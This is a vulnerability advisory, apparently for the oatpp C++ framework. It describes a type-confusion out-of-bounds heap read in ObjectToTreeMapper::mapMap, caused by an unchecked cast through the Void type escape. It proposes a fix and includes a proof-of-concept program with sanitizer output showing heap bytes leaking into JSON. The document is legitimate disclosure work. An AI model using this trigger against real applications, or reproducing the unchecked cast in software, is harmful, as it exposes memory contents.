OOB read in 'ObjectToTreeMapper::mapMap'
Summary
Container serialization is delegated entirely to the PolymorphicDispatcher named by the value's type tag. mapMap takes a map dispatcher and walks its iterator, reading iterator->first and iterator->second, which assumes a std::pair layout. When the tag says map but the object is a std::vector, each element is read as a pair and the read runs past the element.
Details
ObjectToTreeMapper::mapMap (src/oatpp/data/mapping/ObjectToTreeMapper.cpp:194) obtains an iterator from the dispatcher and reads through it. The map iterator is Map.hpp:150-160:
152 type::Void getKey() override {
153 return iterator->first;
154 }
...
157 type::Void getValue() override {
158 return iterator->second;
159 }iterator->first and ->second require the element to be a std::pair. Nothing verifies that. Collection.hpp:168,173,179 has the same shape for sequence containers:
168 ContainerType* collection = static_cast<ContainerType*>(object.get());ContainerType comes from the dispatcher, which came from the tag; object.get() is a void*. The cast is unchecked by construction.
std::unordered_map<String, String> and std::vector<String> differ in both element layout and container layout, so reading one as the other lands wherever the map iterator's arithmetic points. In the run below the fault is an 8-byte read one byte past a 17-byte allocation. std::string element of the vector, read as if it were the key half of a pair.
The tag/pointee mismatch that gets you here can be produced by ObjectWrapper::cast because of the Void escape at Type.hpp:560, which skips the type check whenever either side is __class::Void. The dispatcher itself being an unchecked void* is the deeper cause.
Fix: check the dispatcher's owning ClassId against the value's tag on entry to mapMap and mapCollection. Binding the dispatcher to its ClassId at the Type level fixes this and the mapObject case together.
PoC
poc_ObjectToTreeMapper_mapMap.cpp:
// A oatpp Vector payload, 24-byte std::vector in its own heap block.
auto vec = std::make_shared<std::vector<oatpp::String>>();
vec->push_back(oatpp::String("hello"));
oatpp::Void erased(std::static_pointer_cast<void>(vec)); // Type.hpp:286 -> tag = __class::Void
// Type.hpp:560 - source tag is Void, so the type check is skipped entirely.
auto confused = erased.cast<oatpp::UnorderedFields<oatpp::String>>();
// mapMap picks StandardMap<std::unordered_map<String,String>,...> and walks the vector with it.
oatpp::json::ObjectMapper mapper;
auto out = mapper.writeToString(confused);Build and run:
clang++-22 -fsanitize=address,undefined,vptr -fsanitize-recover=all \
-fno-omit-frame-pointer -frtti -g -O1 -std=c++17 -I<oatpp>/src \
poc_ObjectToTreeMapper_mapMap.cpp liboatpp.a -lpthread -o poc_ObjectToTreeMapper_mapMap
ASAN_OPTIONS=halt_on_error=0 UBSAN_OPTIONS=halt_on_error=0 ./poc_ObjectToTreeMapper_mapMapASAN output:
==...==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7bd2ea5e00b0 ...
READ of size 8 at 0x7bd2ea5e00b0 thread T0
[...]
#3 in oatpp::data::type::ObjectWrapper<std::__cxx11::basic_string<...>, __class::String>::getPtr()
#4 in oatpp::data::type::Void::Void<std::__cxx11::basic_string<...>>(...)
#5 in oatpp::data::type::__class::StandardMap<std::unordered_map<String, String>, ...>::...
#6 in oatpp::data::mapping::ObjectToTreeMapper::mapMap(...) src/oatpp/data/mapping/ObjectToTreeMapper.cpp
#7 in oatpp::data::mapping::ObjectToTreeMapper::map(...) src/oatpp/data/mapping/ObjectToTreeMapper.cpp
0x7bd2ea5e00b0 is located 0 bytes after 17-byte regionImpact
OOB read, and because the bytes become the serialized key and value they are disclosed in the JSON output. The displacement follows from the layout difference between the two containers rather than from anything the caller picks.
Reachability is application level:
- producing the mismatched tag requires a
cast<>()through theVoidescape or an equivalent.
Source: oatpp/oatpp